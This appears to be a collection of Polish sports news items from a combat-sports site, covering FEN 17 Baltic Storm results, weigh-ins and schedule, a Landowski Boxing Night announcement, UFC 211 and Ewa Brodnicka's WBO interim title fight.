Porażkami faworytów w tej części gali FEN 17 Baltic Storm zakończyły się walki Aleksandra Rychlika z Bartoszem Leśko i Alana Kwiecińskiego z Kamilem Mateją – Leśko w drugiej rundzie poddał Rychlika duszeniem zza pleców, a młodziutki Mateja lepiej taktycznie rozegrał swój pojedynek i wygrał jednogłośnie na punkty. Do udanej wyprawy do Polski nie zaliczą z kolei Ukraińcy Alexey Oleinik i Dmitriy Borsuk, którzy musieli uznać wyższość odpowiednio Aleksandra Georgasa i Ireneusza Szydłowskiego, oraz pierwszy raz walczący w FEN Damian Tarabasz, którego na otwarcie gali pokonał przez balachę w trzeciej rundzie inny debiutant Adam „Brooklyn” Brzezowski.

Wyniki gali FEN 17 Baltic Storm

Walka wieczoru:

MMA -74 kg: Kamil Łebkowski pokonał przez techniczny nokaut w pierwszej rundzie Sauliusa Buciusa

Karta główna:

MMA -120 kg: Michał Wlazło pokonał przez dyskwalifikację w pierwszej rundzie Martina Chudeja

K-1 -85 kg: Radosław Paczuski pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena

MMA -93 kg: Michał Oleksiejczuk pokonał przez nokaut w pierwszej rundzie Riccardo Nosiglię

K-1 -95 kg: Artur Bizewski pokonał przez techniczny nokaut w drugiej rundzie Marcina Szredera

K-1 -70 kg: Jarosław Daschke pokonał jednogłośną decyzją sędziów Roberta Rajewskiego Jr

MMA -70 kg: Piotr Hallmann pokonał jednogłośną decyzją sędziów Patryka Nowaka

Karta wstępna:

K-1 -120 kg: Kryspin Kalski pokonał jednogłośną decyzją sędziów Mateusza Łazowskiego

MMA -66 kg: Aleksander Georgas pokonał przez techniczny nokaut w drugiej rundzie Alexeya Oleinika

MMA -84 kg: Bartosz Leśko pokonał przez poddanie (duszenie zza pleców) w drugiej rundzie Aleksandra Rychlika

MMA -77 kg: Ireneusz Szydłowski pokonał jednogłośną decyzją sędziów Dmitriya Borsuka

K-1 -70 kg: Kamil Mateja pokonał jednomyślną decyzją sędziów Alana Kwiecińskiego

MMA -77 kg: Adam Brzezowski pokonał przez poddanie (balacha) w trzeciej rundzie Damiana Tarabasza

FEN

3 czerwca gala bokserska Landowski Boxing Night X „Zostań olimpijczykiem”

3 czerwca w warszawskiej Hali Koło przy ul. Obozowej 60 odbędzie gala bokserska Landowski Boxing Night X, na której zmierzą się zawodnicy boksu olimpijskiego i „koneserzy pięściarstwa”, czyli osoby trenujące boks rekreacyjnie.

To już 10. edycja cieszącego się coraz większą popularnością wydarzenia, które na stałe zagościło w kalendarzu bokserskich imprez Warszawy i Mazowsza.

– Pierwsza impreza odbyła się przed kilkoma laty na Fortach Bema w Klubie Sportowym Legia i cieszyła się dużym zainteresowaniem, do tego stopnia, że hala z ledwością pomieściła przybyłych gości –  wspomina początki gal Łukasz Landowski.

Dziś gala Landowski Boxing Night to w pełni profesjonalnie organizowana duża impreza bokserska z pełną oprawą, muzyką na wejście, ring girls i nagrodami. Wydarzenie pod względem frekwencji przewyższa niejedną galę zawodową w Polsce transmitowaną przez telewizję.

– Z roku na rok, z imprezy na imprezę przychodzi coraz więcej osób, kibiców boksu. Dochodzą nas słuchy, że nasze gale niewiele różnią się od największych bokserskich eventów – potwierdza Łukasz Landowski.

Landowski Boxing Night X pod hasłem „Zostań olimpijczykiem” ma za zadanie promować polskie pięściarstwo szczególnie wśród dzieci i młodzieży. Treningi w szkole bokserskiej braci Landowskich pozwalają najmłodszym nie tylko odnosić sukcesy na ringach amatorskich, ale przede wszystkim oderwać się na co dzień od telefonów i Internetu.

Karol Landowski, który trenuje najmłodsze grupy mówi: – Chcemy pokazać drogę młodego sportowca jaką musi przebyć, aby zostać Olimpijczykiem, a medal na Igrzyskach Olimpijskich jak i same uczestnictwo w nich – to marzenie każdego młodego zawodnika.

Na treningi uczęszczają tam m.in. młodsi bracia jednego z najlepszych obecnie polskich bokserów zawodowych Macieja Sulęckiego – Jakub i Paweł.

– Wiemy, że po ostatnich galach młodzi zawodnicy byli bardzo zadowoleni, że mogli walczyć na takiej gali, z taką oprawą imprezy. Czuli się jak prawdziwi docenieni sportowcy. Po takim wydarzeniu trafiło do nas na salę kilkoro młodzieży, która do dzisiaj trenuje. To oni mogą zostać właśnie przyszłymi olimpijczykami – dodaje Karol Landowski.

Organizatorzy liczą na firmy i zwykłych darczyńców, którzy chcieliby nie tylko wesprzeć X edycję gali Landowski Boxing Night, ale również przyczynić się do rozwoju idei pięściarstwa wśród młodzieży. W tym celu przygotowali specjalną prezentację (http://landowskiboxing.com/2017/04/26/landowski-boxing-night-ix-2/).

– Największe wyzwanie stanowi zgromadzenie odpowiedniej ilości środków finansowych na pokrycie wszystkich kosztów, uzyskanie pozwoleń, zapewnienie ochrony przewidzianej dla imprezy masowej, zorganizowanie oprawy, opieki medycznej oraz zapewnienie nagród dla uczestników gali – wyjaśnia Łukasz Landowski.

Gala będzie również doskonałą okazją do zrobienia sobie pamiątkowego zdjęcia z osobami ze świata mediów i boksu. Galę poprowadzi jak co roku Szymon Majewski. Swoją obecność potwierdzili m.in. Ewa Brodnicka, Jordan Kuliński, Norbert Dąbrowski, Maciej Sulęcki czy Karolina Łukasik.

Gala Landowski Boxing Night X Zostań Olimpijczykiem, odbędzie się 3 czerwca 2017 godzina 19:00 w Hali Sportowej Koło na ulicy Obozowej 60 w Warszawie.

Bilety w cenie 30 zł (trybuny), 50 zł (płyta) i 200 zł (VIP – stoliki, catering z obsługą) do nabycia w recepcji klubu Impuls na Bielanach i w Nastula Club Bielany oraz bezpośrednio u trenerów Łukasza i Karola Landowskich.

 

Więcej informacji:

www.landowskiboxing.com

Łukasz Landowski, tel. 602 80 80 70

Karol Landowski, tel. 510 615 515

Piękny amerykański sen Jędrzejczyk

Cudowne, wspaniałe, niezwykłe i niepowtarzalne emocje towarzyszą kibicom podczas każdej walki Joanny Jędrzejczyk w UFC. Nasza mistrzyni wagi słomkowej po raz piąty obroniła pas. Podczas gali UFC 211 w Dallas Polka pokonała Jessicę Andrade. Dobiegła końca wspaniała seria zwycięstw Krzysztofa Jotko. Polaka zastopował David Branch.

Joanna Jędrzejczyk jest uosobieniem sukcesu, który został poparty ciężką i wytężoną pracą, a przy tym normalnością. 29-latka urodzona w Olsztynie sięgnęła gwiazd, ale nadal pozostaje otwartą i sympatyczną osobą. Ale w oktagonie nie ma litości dla rywalek.

Lepsza od Rondy?

Jędrzejczyk trafiła do UFC w lipcu 2014 roku. W debiucie pokonała jednogłośną decyzją sędziów Julianę Limę, która próbowała zapaśniczych ataków, jednak Polka skutecznie się broniła i przeciwstawiała się niemalże perfekcyjną stójką. Odnosząca sukcesy w muay thai i kickboxingu zawodniczka weszła do wielkiego świata MMA. Wtedy królową UFC była Ronda Rousey, która wcześniej panowała w Strikeforce. Była judoczka została pierwszą mistrzynią najlepszej organizacji MMA na świecie. Rousey porywała widzów efektownymi walkami. Nie raz kończyła pojedynki po upływie zaledwie kilkunastu sekund. W tym samym czasie swoją pozycję w UFC budowała Jędrzejczyk, która w marcu 2015 sięgnęła po tytuł w wadze słomkowej.

Obecnie zdecydowanie wyżej stoją akcje Polki. Ronda Rousey znalazła się na zakręcie. Półtora roku temu straciła pas wagi koguciej na rzecz Holly Holm, w kolejnej walce przegrała z Amandą Nunes. Jej przyszłość w UFC stanęła pod znakiem zapytania. 

Teraz Jędrzejczyk jest twarzą numer 1 kobiecego MMA. Pokonując Karolinę Kowalkiewicz, mistrzyni wagi słomkowej pobiła rekord Rousey, jeśli chodzi o liczbę zwycięstw w amerykańskiej organizacji. „Rowdy” odniosła ich sześć, 29-latka zaś siedem, a w sobotnią noc (13 maja) dołożyła kolejny triumf triumfując w starciu z Jessicą Andrade.

Jędrzejczyk pisze piękną historię w UFC. Wygrywając w Dallas z Brazylijką odniosła szóste zwycięstwo w starciach o mistrzostwo. Taki sam wynik na swoim koncie zapisała Rousey w latach 2013-2015.

W Dallas Polka po raz kolejny pokazała klasę. Starcie było szybkie, jednak karty rozdawała Jędrzejczyk. Mistrzyni wagi słomkowej wyprowadzała mocne i pewne ciosy, w stójce zupełnie dominowała. Andrade była wytrzymała i szukała parteru, ale Jędrzejczyk nie dała się zaskoczyć. Sędziowie byli jednomyślni: 50:45, 50:45, 50:44.

Klasa Polki nie podlega żadnej dyskusji. Jędrzejczyk potwierdza, że jest najlepszą zawodniczką UFC bez podziału na kategorie wagowe. W Dallas Jędrzejczyk zapisała na swoim koncie czternaste zwycięstwo w karierze.

Jotko zatrzymany

Krzysztof Jotko miał fantastyczną passę w UFC. Pięć wygranych z rzędu sprawiło, że jego akcje wśród wojowników wagi średniej poszybowały w górę. W Dallas Polak spotkał się z doświadczonym Davidem Branchem. Na swoje konto Jotko zapisał drugą rundę, w której dobrze prezentował się w stójce. Przez większą część walki Branch dążył do klinczu i chciał wykorzystać umiejętności zapaśnicze. Walka nie porywała, co sprawiło nie lada problem sędziom. Niejednogłośnie wskazali na 35-letniego Amerykanina (28:29, 28:29, 29:28), choć inny werdykt nie byłby nadużyciem. Po raz drugi Jotko musiał przełknąć gorycz porażki w UFC.

W Dallas Stipe Miocic po raz drugi obronił pas w wadze ciężkiej. Już w pierwszej rundzie niespełna 35-letni Amerykanin pokonał przez techniczny nokaut Juniora dos Santosa.

Wyniki gali UFC 211:

Stipe Miocic pokonał Juniora dos Santosa przez TKO w pierwszej rundzie
Joanna Jędrzejczyk pokonała Jessicę Andrade jednogłośną decyzją sędziów 

Demian Maia pokonał Jorge'a Masvidala niejednogłośną decyzją sędziów 
Frankie Edgar pokonał Yaira Rodrigueza przez TKO po drugiej rundzie
David Branch pokonał Krzysztofa Jotkę niejednogłośną decyzją sędziów 

Eddie Alvarez – Dustin Poirier – nierozstrzygnięte
Jason Knight pokonał Chasa Skelly'ego przez TKO w trzeciej rundzie
Chase Sherman pokonał Rashada Coultera przez KO w drugiej rundzie
James Vick pokonał Marco Polo Reyesa przez TKO w pierwszej rundzie
Cortney Casey pokonała Jessicę Aguilar jednogłośną decyzją sędziów
Enrique Barzola pokonał Gabriela Beniteza jednogłośną decyzją sędziów 
Gadżhimurad Aritigulow pokonał Joachima Christensena przez poddanie w pierwszej rundzie

fot. sherdog.com

KM

Wojownicy FEN odwiedzą Koszalin

Organizacja Fight Exclusive Night rozpoczęła przygotowania do czwartej tegorocznej gali. Tym razem, 12 sierpnia, odwiedzi Koszalin.

Do tej pory organizacja FEN gościła w ośmiu miastach: Wrocławiu, Sopocie, Lubinie, Bydgoszczy, Kołobrzegu, Gdyni, Warszawie i Katowicach

Letnie uderzenie

Pierwsze słowo organizacja Fight Exclusive Night powiedziała w listopadzie 2013 roku we Wrocławiu. W walce wieczoru zaprezentowali się Patryk Grudniewski i Grzegorz Szulakowski. Ze zwycięstwa cieszył się „Szuli”, który w drugiej rundzie poddał rywala. Warto dodać, że półtora roku później panowie spotkali się na gali KSW. Ponownie lepszy okazał się Szulakowski. 

W 2014 roku odbyły się trzy gale organizacji FEN, rok później pięć, z kolei w 2016 roku sześć. O jakość widowiska dbali zawodnicy mający bogate doświadczenie oraz obiecujący młodzi fighterzy. Wśród nich można wymienić: Romana Szymańskiego, Marcina Zontka, Marcina Wójcika, Tomasza Sararę, Marcina Naruszczkę, Iwonę Nierodę czy Igora Kołacina, który w marcu 2016 roku stoczył swoją walkę pożegnalną.

Czas leci nieubłaganie i FEN szykuje kolejne wydarzenie. Gala numer osiemnaście „Summer Edition” odbędzie się 12 sierpnia w Koszalinie. Kogo zobaczymy w akcji? Po raz kolejny gwiazdą wieczoru będzie Kamil Łebkowski, którzy marzy o występach w UFC. „Bomba” zaliczył trzy walki w organizacji FEN, z których dwie zakończyły się jego zwycięstwem. Możliwe, że rywalem 29-latka będzie Sergej Grecicho. Litwin zaprezentował się na gali KSW 26, podczas której pokonał Jakuba Kowalkiewicza. Półtora roku temu doznał porażki z rąk Filipa Wolańskiego na IFN 1.

W Koszalinie miałby wystąpić Bartłomiej Kopera. 24-latek pochodzący z Łodzi chciałby się zrehabilitować za porażkę, której doznał w starciu z Daguirem Imavovem podczas gali FEN 16. Warto dodać, że Francuz zastopował imponującą serię Kopery. Polak wygrał sześć kolejnych walk.

Gdynia szczęśliwa dla Bizewskiego

Najbliższe plany włodarze FEN wyjawili podczas piątkowej (12 maja) gali w Gdyni. Organizacja po raz drugi gościła w Gdynia Arenie. Kilka słów o gali FEN 17. Tak jak i w sierpniu ubiegłego roku, w Gdyni ze zwycięstwa cieszył się Artur Bizewski (K-1, 85kg). Tyle, że tym razem znokautował w drugiej rundzie Marcina Szredera. Podczas poprzedniej wizyty w Gdyni Bizewski wygrał na punkty. Ponownie w Gdynia Arenie triumfowali: Ireneusz Szydłowski (MMA, 77kg) i Jarosław Daschke (K-1, 70kg).

Drugie zwycięstwo w organizacji FEN zanotował Radosław Paczuski (K-1, 85kg), który znokautował w pierwszej rundzie Menno van Roosmalena. Efektowne rozstrzygnięcie Kamila Łebkowskiego (MMA, 66kg). W walce wieczoru Polak szybko odprawił Sauliusa Buciusa. Łebkowski zdobył dominującą pozycję w parterze i posłał w stronę rywala wiele mocnych ciosów. 

KM

Brodnicka zrealizowała cel

Częstochowa szczęśliwa dla Ewy Brodnickiej. Populara „Kleo” pokonała Irmę Balijagić Adler i sięgnęła po tymczasowe mistrzostwo świata WBO w wadze super piórkowej.

Boks w kobiecym wydaniu. Ewa Brodnicka wykonuje tytaniczną pracę dla popularyzacji pięściarstwa w wykonaniu pań. 

Zadanie wykonane

Spełnić marzenia – z takim założeniem do ringu wchodziła Ewa Brodnicka. W Częstochowie czekała ją trzynasta zawodowa walka, której stawką było tymczasowe mistrzostwo świata WBO w wadze super piórkowej. Aby podjąć wyzwanie, musiała pożegnać się z tytułem mistrzyni Europy. Pas zdobyła w grudniu 2015 roku, kiedy w Łomiankach pokonała Elfi Philips. 

W Częstochowie rywalką urodziwej Polki była Irma Balijagic Adler. 35-letnia zawodniczka z Bośni może pochwalić się zdecydowanie większym doświadczeniem niż Brodnicka, gdyż pierwszy zawodowy pojedynek stoczyła w kwietniu 2007 roku („Kleo” debiutowała w lutym 2013 roku). Dla Adler nie była to pierwsza walka o stawkę, jednak o wcześniejszych starciach wolałaby zapomnieć. Ostatnie lata dla reprezentantki Bośni to występy w kratkę. Wygrała dwie z pięciu walk, a stawką trzech pojedynków były pas. W październiku 2015 roku Adler pokonała Mirjanę Vujić i zdobyła tytuł World Boxing Foundation w wadze lekkiej.

Brodnicka była zdeterminowana. W drodze na ring towarzyszyła jej piosenka Czerwonych Gitar „Nikt na świecie nie wie”. Polka agresywnie i odważnie rozpoczęła pojedynek. Widać było, że 32-letnia „Kleo” jest głodna walki. Lewy sierpowy i lewy podbródkowy często dochodziły do celu. Można stwierdzić, że Adler była zaskoczona aktywnością Polki. 35-latka reprezentantka Bośni starała się znaleźć przestrzeń dla siebie, ale była tłem dla energicznej Brodnickiej. Na półmetku starcia przewaga Polki nie podlegała dyskusji. Zastrzeżenia można było mieć do tempa walki, które nie porywało. W szóstej rundzie Brodnicka przyspieszyła, trafiała i unikała kontrataków. Adler przyjmowała kolejne ciosy, ale twardo trzymała się na nogach. Przewaga „Kleo” nie podlegała dyskusji. W dziewiątej rundzie Brodnicka opuściła nieco prowokacyjnie ręce i czekała na atak rywalki. Adler była jednak ostrożna oraz uważna, bo za chwilę kolejne ciosy w jej stronę posłała Polka. Warto zaznaczyć, że walka była czysta. Sędzia był praktycznie obserwatorem, nie musiał interweniować, gdyż zawodniczki nie klinczowały. Do końca Brodnicka kontrolowała przebieg walki i osiągnęła swój cel. Wszyscy sędziowie punktowali 100:90 dla Polki.

Młodzieżowy mistrz

Przed szansą zdobycia pasa młodzieżowego mistrza świata WBO w wadze półciężkiej stanął Robert Parzęczewski. 23-letni bokser ostatnie pięć pojedynków wygrał przed czasem. Parzęczewski górował warunkami fizycznymi nad Zurą Mekereshvilim. Polak chciał wykorzystać swoją przewagę, częściej uderzał i był zdecydowanie szybszy. Gruzin dał o sobie znać w piątej odsłonie. Parzęczewski nieco otworzył się, co chciał wykorzystać rywal. Jednak nadal Polak był stroną, która dyktowała tempo walki. Na punkty zdecydowanie prowadził Parzęczewski, lecz kibice czekali na kończący cios. Gruzin twardo trzymał się na nogach i wytrzymał pełne dziesięć rund. Nie było żadnych wątpliwości, do kogo powędruje pas. Parzęczewski młodzieżowym mistrzem świata WBO.

W Częstochowie kolejne wygrane na swoim koncie zapisali: Michał Żuromiński (półśrednia), Marcin Siwy (ciężka) i Tomasz Gromadzki (super średnia).

KM

Kamil Łebkowski z nowym rywalem w walce wieczoru FEN 17

Brazylijczyk Caio Machado, który prawdopodobnie padł ofiarą oszustów, nie wystąpi jutro w walce wieczoru gali FEN 17 Baltic Storm w Gdynia Arena. W zastępstwie za Brazylijczyka z Kamilem „Bombą” Łebkowskim zmierzy się doświadczony litewski wojownik, specjalista od szybkich poddań i nokautów Saulius Bucius.

„Caio Machado i jego trenerzy, bez względu na udział tego zawodnika w gali FEN 17 Baltic Storm, mieli już dawno zaplanowany w tym czasie przyjazd do Europy, dlatego na własną rękę z pomocą swojego sponsora organizowali sobie lot przez Atlantyk. My, zgodnie z umową, zabukowaliśmy im bilety na połączeniach lokalnych. Niestety, Brazylijczycy prawdopodobnie zostali oszukani przez agencję pośredniczącą w sprzedaży biletów lotniczych, stracili dużo czasu, próbując wyjaśnić sprawę, za późno dali nam znać o swoich problemach i ostatecznie nie udało nam się już im pomóc, tak aby na czas dolecieli do Polski. Caio Machado na pewno jednak pojawi się na jednej z naszych kolejnych gal” – wyjaśnia prezes FEN Paweł Jóźwiak.

W zastępstwie za Caio Machado nowym przeciwnikiem Kamila Łebkowskiego będzie doświadczony litewski fighter Saulius Bucius (29 lat, 180 cm, 13-11-1). Dla reprezentanta klubu The Knight of Plunge będzie to trzecia walka z zawodnikiem z Polski i jednocześnie trzecia w naszym kraju – w poprzednich latach w Gdyni mierzył się z późniejszym zawodnikiem UFC Łukaszem Sajewskim, a w Toruniu z Krzysztofem Klaczkiem. W swojej bogatej karierze Litwin walczył też na galach w Anglii, Francji, Rosji, Finlandii i Czechach. Bucius ma na koncie 13 zwycięstw, z których aż 12 odniósł przez nokaut lub poddanie, 11 porażek i 1 remis. Z pięciu ostatnich walk wygrał cztery – ostatnie zwycięstwo odniósł miesiąc temu, na gali King of The Cage: Baltic Tour, nokautując w pierwszej rundzie Rosjanina Baburmirzo Abdufataeva.

Kamil Łebkowski (29 lat, 178 cm, 15-5) to z pewnością jeden z najgroźniejszych i najbardziej zmotywowanych przeciwników w długiej karierze Saliusa Buciusa. Zawodnik klubu Dziki Wschód Biała Podlaska po niedawnej porażce na punkty z Brazylijczykiem Gabrielem „Gabito” Silvą, która przerwała jego imponującą serię 10 wygranych walk z rzędu, będzie chciał na gali FEN 17 Baltic Storm wrócić na zwycięską ścieżkę i zbliżyć się do realizacji swojego marzenia o debiucie z UFC. Przegrana z bratem słynnego Ericka Silvy oddaliła „Bombę” od tego celu, ale najlepszy piórkowy polskiego MMA, który w CV ma efektowne zwycięstwa nad takimi rywalami, jak Japończyk Yoshihiro Koyama, znokautowany na gali WSOF Global Championship 2 w Tokio, czy były fighter UFC Piotr Hallmann, którego wypunktował na gali FEN 13 Summer Edition, w Gdynia Arena postara się udowodnić, że jego kontrakt z amerykańskią federacją to tylko kwestia czasu.

W pozostałych walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią, Aleksander Georgas z Ukraińcem Alexeyem Oleinikiem oraz Ireneusz Szydłowski z Dmitriyem Borsukiem z Ukrainy. Z kolei w formule K-1 w Gdynia Arena walczyć będą jutro tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

FEN 17 Baltic Storm: wyniki ważenia

Już jutro na gali FEN 17 Baltic Storm po raz pierwszy w historii organizacji Fight Exclusive Night zawodnicy będą walczyć w klatce. W Gdynia Arena kibice obejrzą 13 pojedynków MMA i K-1, których bohaterowie dziś popołudniu stanęli ze sobą twarzą w twarz podczas oficjalnej ceremonii ważenia.

Tradycyjnie już uczestnicy gali Fight Exclusive Night mogli wejść na wagę zarówno podczas porannej sesji w hotelu, jaki oficjalnej ceremonii w Gdynia Arena. W swoich limitach wagowych zmieścili się wszyscy zawodnicy. Podczas popołudniowego ważenia ogłoszona została zmiana przeciwnika dla Kamila Łebkowskiego w walce wieczoru jutrzejszych zawodów – Brazylijczyka Caio Machado, który z powodów komplikacji związanych z podróżą do Europy nie dotarł na czas do Gdyni, zastąpi litewski specjalista od szybkich poddań i nokautów Saulius Bucius. Z tego względu dla main eventu FEN 17 Baltic Storm ustalono catchweight w limicie 74 kg.

FEN 17 Baltic Storm: wyniki ważenia

MMA -74 kg: Saulius Bucius (74,0 kg) vs Kamil Łebkowski (73,5 kg)

MMA -120 kg: Martin Chudej (120,0 kg) vs Michał Wlazło (120,1 kg)

K-1 -85 kg: Menno Van Roosmalen (84 kg) vs Radosław Paczuski (85,1 kg)

MMA -93 kg: Ricardo Nosiglia (93,0 kg) vs Michał Oleksiejczuk (93,1 kg)

K-1 -95 kg: Artur Bizewski (94,4 kg) vs Marcin Szreder (94,9 kg)

K-1 -70 kg: Robert Rajewski Jr (70,2 kg) vs Jarosław Daschke (70,0 kg)

MMA -70 kg: Patryk Nowak (70,2 kg) vs Piotr Hallmann (70,2 kg)

K-1 -120 kg: Mateusz Łazowski (100,6 kg) vs Kryspin Kalski (104,8 kg)

MMA -66 kg: Alexey Oleinik (66,2 kg) vs Aleksander Georgas (66,2 kg)

MMA -84: Bartosz Leśko (84,1 kg) vs Aleksander Rychlik (83,9 kg)

MMA -77 kg: Dmitriy Borsuk (77,0 kg) vs Ireneusz Szydłowski (77,1 kg)

K-1 -70 kg: Kamil Mateja (69,4 kg) vs Alan Kwieciński (70,2 kg)

MMA -77 kg: Adam Brzezowski (76,5 kg) vs Damian Tarabasz (76,7 kg)

FEN

FEN 17 Baltic Storm: Michał Wlazło przed walką z Martinem Chudejem

Kiedy dwóch wojowników MMA wagi ciężkiej staje naprzeciwko sobie w klatce, wszystko jest możliwe. Jaką receptę na pokonanie Czecha Martina Chudeja będzie miał Michał Wlazło podczas dzisiejszej gali FEN 17 Baltic Storm w Gdynia Arena?

Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs) oraz w kasie hali Gdynia Arena.

[kod]

FEN 17 Baltic Storm: plan dnia

Przedstawiamy szczegółowy plan wydarzeń oraz transmisji telewizyjnych na żywo z dzisiejszej gali FEN 17 Baltic Storm w Gdynia Arena.

Gala FEN 17 Baltic Storm – Gdynia Arena, ul. Kazimierza Górskiego 8, Gdynia

godz. 15:00 – otwarcie kas

godz. 17:45 – otwarcie bram hali

godz. 18:00 – rozpoczęcie gali

godz. 18:05 – karta wstępna

  • MMA -77 kg: Adam Brzezowski vs Damian Tarabasz
  • K-1 -70 kg: Kamil Mateja vs Alan Kwieciński
  • MMA -77 kg: Dmitriy Borsuk vs Ireneusz Szydłowski
  • MMA -84 kg: Bartosz Leśko vs Aleksander Rychlik

godz. 19:00 – start transmisji w Polsat Sport Fight i Ipla.tv

  • MMA -66 kg: Alexey Oleinik vs Aleksander Georgas
  • K-1 -120 kg: Mateusz Łazowski vs Kryspin Kalski

godz. 20:00 – ceremonia otwarcia / start transmisji w Polsat Sport

godz. 20:30 – karta główna

  • MMA -70 kg: Patryk Nowak vs Piotr Hallmann
  • K-1 -70 kg: Robert Rajewski Jr vs Jarosław Daschke

godz. 21:00 – start transmisji w Super Polsat

  • K-1 -95 kg: Artur Bizewski vs Marcin Szreder
  • MMA -93 kg: Ricardo Nosiglia vs Michał Oleksiejczuk
  • K-1 -85 kg: Menno Van Roosmalen vs Radosław Paczuski
  • MMA -120 kg: Martin Chudej vs Michał Wlazło

godz. 23:30 – walka wieczoru

  • MMA -74 kg: Saulius Bucius vs Kamil Łebkowski

FEN After Party – Unique Club & Lunge, Plac Zdrojowy 1, Sopot